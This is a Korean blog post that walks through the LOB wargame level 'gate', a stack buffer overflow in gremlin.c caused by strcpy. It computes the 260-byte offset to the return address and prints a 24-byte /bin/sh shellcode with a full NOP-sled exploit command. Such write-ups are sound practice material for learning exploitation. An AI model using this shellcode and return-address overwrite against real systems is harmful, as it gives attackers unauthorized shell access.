티스토리 뷰

포너블/LOB

LOB gate 풀이

삼전동해커 2020. 8. 19. 16:27

FTZ 마지막 20번 문제는 아직 못 풀었다.

일단 lob시작함.


gate를 풀어보장.


시작하기전에 꼭 bash2를 입력해주자.



gremlin.c를 열어보면


이렇다.


buffer배열에 256만큼 할당.

입력값이 2보다 작으면 argv error를 출력하고 끝낸다.

2보다 크면 strcpy함수로 buffer배열에 입력값을 저장.

buffer 출력.


strcpy함수에서 bof 취약점이 있다.


익스플로잇은 

ret 조작으로 해보자. 

buffer에서 Ret까지의 거리를 알아보자.



main+3에서 256만큼 스택을 확장했다.

main+9에서 ebp+8과 1을 비교했다. 그리고 main+13에서 ebp+8이 1보다 크면(jg) main+38로 이동 하라고 한다. exit함수를 뛰어넘어 strcpy함수로 바로 가라는 것 같다. 그럼 ebp+8이 argc의 위치.


main+47에서 ebp-256의 값을 eax에 넣고 push한걸 보니 ebp-256이 buffer의 위치인 것 같다.


그럼 바로 답이 나온다.

256만큼 스택을 채우면 buffer가 꽉차고 4만큼 sfp 채워주면 ret에 도달한다.


1.buffer와 ret의 거리 : 260


익스플로잇을 어떻게 할까?

스택의 크기가 충분하니 쉘코드도 같이 넣어버리자.


24바이트짜리 쉘코드를 사용하자.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"


 그러고 ret에 \x90이 있는 위치 중 아무곳을 넣어 NOP sled를 탈 수 있게 해주자.




적당히 저기로 return하게 해주자.


./gremlin `python -c 'print"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\xae\xfa\xff\xbf"'`






'포너블 > LOB' 카테고리의 다른 글

LOB wolfman 풀이  (0) 2020.08.25
LOB orc 풀이  (0) 2020.08.25
LOB goblin풀이  (0) 2020.08.24
LOB cobolt풀이  (0) 2020.08.24
LOB gremlin풀이  (0) 2020.08.24
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함